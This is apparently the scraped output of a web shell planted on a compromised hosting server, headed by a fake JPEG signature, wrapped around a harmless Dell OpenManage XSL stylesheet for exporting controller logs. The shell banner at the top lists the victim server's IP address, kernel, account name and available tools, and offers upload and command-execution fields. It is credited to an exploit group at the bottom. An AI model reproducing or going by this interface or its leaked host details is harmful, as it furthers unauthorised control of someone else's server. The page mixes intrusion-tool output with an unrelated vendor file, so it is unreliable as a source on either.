����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.116.49.6
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/common/ctrlelog.xsl
<?xml version="1.0" encoding="UTF-8"?>
<!-- This is the XSL to render the Virtual Disks Information page.  The associated web plugin is the VDInfoWebPlugin. -->
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
	<!-- Include some common templates created by SS -->
	<xsl:import href="vdtbl.xsl"/>
	<xsl:import href="Utils.xsl"/>
	<xsl:template match="OMA">
	<xsl:call-template name="scripts"/>
		<DataArea printable="false" email="false" validate="true" Refresh="false" export="false" exportdata="false">
		<xsl:choose>
		<xsl:when test="Action = '67108864'">
			<xsl:attribute name="submitdisplay"><xsl:value-of select="$strExportLog"/></xsl:attribute>
			<xsl:attribute name="submit"></xsl:attribute>			
        </xsl:when>
		<xsl:otherwise>
			<xsl:attribute name="submitdisplay"><xsl:value-of select="$strExpLog"/></xsl:attribute>
			<xsl:attribute name="submit"></xsl:attribute>
		</xsl:otherwise>
		</xsl:choose>
		<script language="javascript">			 
			
			function validate(){
			
				var action = '<xsl:value-of select="/OMA/Action"/>';
				if(action == '67108864'){
					var ADExecuteUrl = "./SubmitForm?plugin=com.dell.sm.webplugins.ADExecuteActionWebPlugin&amp;ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&amp;ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&amp;Action=<xsl:value-of select="/OMA/Action"/>&amp;ADiskOID=<xsl:value-of select="/OMA/ADiskOID"/>&amp;ADiskName=<xsl:value-of select="/OMA/ADiskName"/>&amp;ChannelOID=<xsl:value-of select="/OMA/ChannelOID"/>&amp;EnclosureOID=<xsl:value-of select="/OMA/EnclosureOID"/>&amp;CurrentUrl=<xsl:value-of select="/OMA/CurrentUrl"/>&amp;CurrentUrl=<xsl:value-of select="/OMA/CurrentUrl"/>&amp;help=adprin";
					var fileName = document.getElementById("FileName").value;	
					fileName = fileName.replace(/^\s+|\s+$/gm,'');	//removing spaces from both ends

					if(!isValidFileName(fileName)){										
						alert("<xsl:value-of select="$strError"/>" + "<xsl:value-of select="$strInvalidFileName"/>");
						return false;						
					}
					
					ADExecuteUrl = ADExecuteUrl + "&amp;FileName=" + fileName;
				}else{
				
					var ADExecuteUrl = "./SubmitForm?plugin=com.dell.sm.webplugins.ControllerExecWebPlugin&amp;ControllerOID=<xsl:value-of select="/OMA/ControllerOID"/>&amp;ControllerName=<xsl:value-of select="/OMA/ControllerName"/>&amp;Action=exportlog&amp;help=cnprin";
					
				}
				
				document.dataarea.action = top.gnv.appendVID(ADExecuteUrl);
				document.dataarea.submit();			
			}
			
			
			function isValidFileName(fileName){

				var reservedfilenames=/^(null|prn|nul|aux|con|lpt[0-9]|com[0-9])(\.|$)/i; // reserved file names
				var notInvalidchars=/^[^\\/:\*\?"&lt;&gt;\|]+$/; // invalid chars 
				
				if(fileName == "" || (notInvalidchars.test(fileName) &amp;&amp; !reservedfilenames.test(fileName)))
				{			
					return true;				
				}
				return false;
			
			}
		</script>
		
			<PageTitle>
			  <xsl:choose>
		        <xsl:when test="Action = '67108864'">
				   <xsl:attribute name="display"><xsl:value-of select="$strExportLog"/><xsl:value-of select="/*/VirtualDisks/@ControllerName"/><xsl:value-of select="$strTitlePart2"/></xsl:attribute>
				</xsl:when>
				<xsl:otherwise>
				    <xsl:attribute name="display"><xsl:value-of select="$strTitlePart1"/><xsl:value-of select="/*/VirtualDisks/@ControllerName"/><xsl:value-of select="$strTitlePart2"/></xsl:attribute>
				</xsl:otherwise>
				</xsl:choose>
				  
			</PageTitle>
			<!--PromptText ignoreoncli="true"-->
			<AlertMessage>
			     <xsl:choose>
		           <xsl:when test="Action = '67108864'">
						<xsl:choose>
							<xsl:when test="DeviceType = '101'">
								<xsl:attribute name="display"><xsl:value-of select="$strSubHeaderNVME2"/></xsl:attribute>
							</xsl:when>
							<xsl:otherwise>
								<xsl:attribute name="display"><xsl:value-of select="$strSubHeader2"/></xsl:attribute>
							</xsl:otherwise>
						</xsl:choose>	
					</xsl:when>	
				   <xsl:otherwise>
							<xsl:choose>
								<xsl:when test="isPERC12Present = '1'">
									<xsl:attribute name="display"><xsl:value-of select="$strSubHeader12"/></xsl:attribute>
								</xsl:when>
								<xsl:otherwise>
									<xsl:attribute name="display"><xsl:value-of select="$strSubHeader"/></xsl:attribute>
								</xsl:otherwise>
							</xsl:choose>					   
					</xsl:otherwise>
				 </xsl:choose> 
			</AlertMessage>	 
			<!--/PromptText-->
			<ListData columnspacing="true">
			    
				<Data name="HostName" editable="false" type="ustring">
			        <xsl:attribute name="display"><xsl:value-of select="$strHostName"/></xsl:attribute>
			        <xsl:choose>
					   <xsl:when test="(RemoteHostName) and RemoteHostName != '' and ServerHostName != RemoteHostName">
					      <xsl:attribute name="value"><xsl:value-of select="RemoteHostName"/></xsl:attribute>
					   </xsl:when>
					   <xsl:otherwise>
					      <xsl:attribute name="value"><xsl:value-of select="ServerHostName"/></xsl:attribute>
					   </xsl:otherwise>
				    </xsl:choose>
		       </Data>
				<Data name="Path" editable="false" type="ustring">
				   <xsl:attribute name="display"><xsl:value-of select="$strPath"/></xsl:attribute>
				    <xsl:attribute name="value"><xsl:value-of select="LoggingPath/DCStorageObject/LoggingPath"/></xsl:attribute>
				</Data>
				<xsl:if test="Action = '67108864'">
					<Data name="FileName" type="editbox" maxlength="75" colspan="1" >
						<xsl:attribute name="display"><xsl:value-of select="$strFileName"/></xsl:attribute>
						<xsl:attribute name="value"/>
						<xsl:attribute name="unit"><xsl:value-of select="$strLog"/></xsl:attribute>
					</Data>
				</xsl:if>
		    </ListData>	
			<xsl:call-template name="Export"/>
	
		</DataArea>
		
	</xsl:template>
	<xsl:template name="Export">
		<BottomCustomButton>
			<Data>
				<xsl:variable name="dfltBkPg">./DataArea?plugin=com.dell.sm.webplugins.ControllerInfoWebPlugin&amp;ControllerOID=<xsl:value-of select="ControllerOID"/>&amp;ControllerName=<xsl:value-of select="ControllerName"/>&amp;help=cnprin</xsl:variable >
				<xsl:attribute name="href"><xsl:call-template name="BackPage"><xsl:with-param name="defaultBackPage" select="$dfltBkPg"/></xsl:call-template></xsl:attribute>
				<xsl:attribute name="display"><xsl:value-of select="$strPrevPage"/></xsl:attribute>
			</Data>
		</BottomCustomButton>
	</xsl:template>
</xsl:stylesheet>

Youez - 2016 - github.com/yon3zu
LinuXploit